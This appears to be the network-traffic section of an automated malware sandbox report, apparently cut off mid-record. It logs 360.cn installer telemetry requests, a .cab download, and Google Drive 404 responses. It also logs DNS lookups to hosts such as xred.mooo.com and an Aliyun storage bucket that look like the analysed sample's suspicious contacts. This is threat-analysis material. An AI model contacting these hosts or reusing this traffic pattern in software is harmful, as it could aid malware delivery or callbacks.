Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=0&downrate=0&downlen=0 HTTP/1.1Host: s.360.cnConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=107&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /360safe/h_inst.cab?rd=34183220 HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)Host: pinst.360.cnConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /360safe/h_inst.cab?rd=34183220 HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)Host: pinst.360.cnConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=2282&downrate=0&downlen=0 HTTP/1.1Host: s.360.cnConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: bawihgiq5whg32.oss-ap-southeast-1.aliyuncs.com
Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: s.360.cn
Source: global traffic	DNS traffic detected: DNS query: st.p.360.cn
Source: global traffic	DNS traffic detected: DNS query: tr.p.360.cn
Source: global traffic	DNS traffic detected: DNS query: agt.p.360.cn
Source: global traffic	DNS traffic detected: DNS query: agd.p.360.cn
Source: global traffic	DNS traffic detected: DNS query: pinst.360.cn

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6TKuRk0hgUk2Tb9kjOxkBIeSTsrnF1u8g4YV721yB-sW5Fz-CpvLZgaHxjghT7i1sgMsch1HMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:09 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-UV5JMyfHuzI85Fe0L9FSmA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=PHLPwFBV3nP3NSbmBNppx94wfdqPQl4Q-izB7Q9f0_bxaxWANYb1QcaTubhKjd2R6xySamhdnl-RYaDARyDu81yP1iK-V-e7E34pqVgPJwxEHcLMQ5b4PH3P0YYqID63fImAuLFJ1XTfSeu5RvIPc-V_WgPJ4D2Xww1UxfxNrV61NdVFmp2YgJg; expires=Tue, 01-Jul-2025 03:59:08 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ONYrnS6TaNGgqv6UdqQtrihFlHsGikp1VWLQsCFtZphjcPmmJJ0AVXQHzumzqY7pMContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:09 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ZCQ-PQ88OSpNFbRdm_0DlA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerSet-Cookie: NID=520=Wx-G4O6EShb7Snmlh2857_NmWBV2T-yG2QsNO31GjRaZavqqR41hWX1_5xCZCTAqdEzAPkLnbI0QV6s9vct8T5LnTe9TZ6tdxigzizMteDlRATYlBvzufdbZXHMvzyCqPyGAByCDy8A5KGUQB0tUVAh6FqkNmYN91BjoYlg65oOdm-I5eyfWK-yZ; expires=Tue, 01-Jul-2025 03:59:09 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4KKxO_7hnrUA66jaVCwf6cCnVUhMMQNckVcM4eFLsoq5H9r_A_U427ivZsFvXySlDQContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:10 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-wtj14MjPh4z9YXZaEgYoNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04; expires=Tue, 01-Jul-2025 03:59:10 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6RS07ST1kpU9kdRSvtDKk6c4oeW0W-6gvf9wushLh9ElqzmmZdWtjNyRS1YWlQZd1rContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:11 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Z2trGexnkfgVwHUKatiSEQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5LtEz12ZHfeFdJ9-yQqYUnnwrOh5Y0vGEnBiTZhJGzPiovz0WHMkvHMpL--7_-CRd1L0riA1AContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:12 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-dgYqnm3Mz9zkdy_Ewq9Dew' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5TuCNmwWNgnO3Ttu6oyTnaLImnhSPrgxrURcHsDufdP4HkuKzkulSciAu0N-IOCIDeKCehem0Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:12 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-0Rjrrj_fZBEpdGAtUYZu8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC772yqfX8Vr5PZ9SaTmSETjHJBgBiIW4lhiJ3m8XvdntdiNiMoKdtQtndz0ZVgXb28CContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:13 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-1q2Qaz1c3vKaqdJrVWPd4Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5mvV9VDPvfV3q3htwd_TzHuW1v6YcOl-HmwABmrmLmMrJN2BMZF-0_LSKkFwQa3hWOContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:13 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-NKTiXMR5I4kFECjrCqQ4iA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6mqJwtfrff6dEMz2zdI-MZFVEfWBAi9ogwB5EJjBSR-kiKsOHS3hybyISElQzyj6YfFc8Zbf8Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:15 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-Hf0HhBYGkcFyoCnC1j0V8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5yiLlsHAC2osUDoJ3wZEZkaT_Ww5dW-IkL58V0oCyHflEwfJXLeAYrp7Y76LcdbirVhiQI3ucContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:16 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-Dh4VrrvCx2pVOWGDxtQUDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4RQLENhRrvzVqueDdzDHQpf4Jyu2yxE_Qp7ZHkhQmYZooQDyTlYdORTrkc-HnRm03KContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:16 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-UMQ1vjRA9WsUbxq4ad4D_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4cPH-EFvyhaaOG3jl0QVAJ7Aq--e6zYx6DNSk_4BnFzbgH6BhgII_ExjeKyJjFUGlcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:17 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce--3PEMSapH6wrPvKcz47n3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Tyqq2iivl5ayogLnwsjEQwiETwMCPrg0tfvhIPEHjcp24apnx8POGc7JaejbW7lkBeSN3jcYContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:17 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-4pfC2-T8JB2ftMNmFRl1Fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC57ASmcY3_x-w6N-6mQTarcIk-hNhj1KDdX-rorBkXaY7PKaOjjoR_QqUX3fcUjHu8pContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:20 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-0JCCXqvhC6uJApwpKunyPA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4AfqBtQhPbDtijPiqMfqPf3-ewQKuuRJT4qDXl2kTnRB4conf6QvA6x7XouugRuTP2Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:20 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-c71R6bbShKLlj3qKxtpGyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4XSQo7gzj0xYJu4Wgsca2HKcfHtThZ2A4gPlYiV3c6BZ3NIoJwQyQYr9L9K7zdN5QRContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 03:59:21 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-T62Hbi0Abpa532f4bk3vDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: 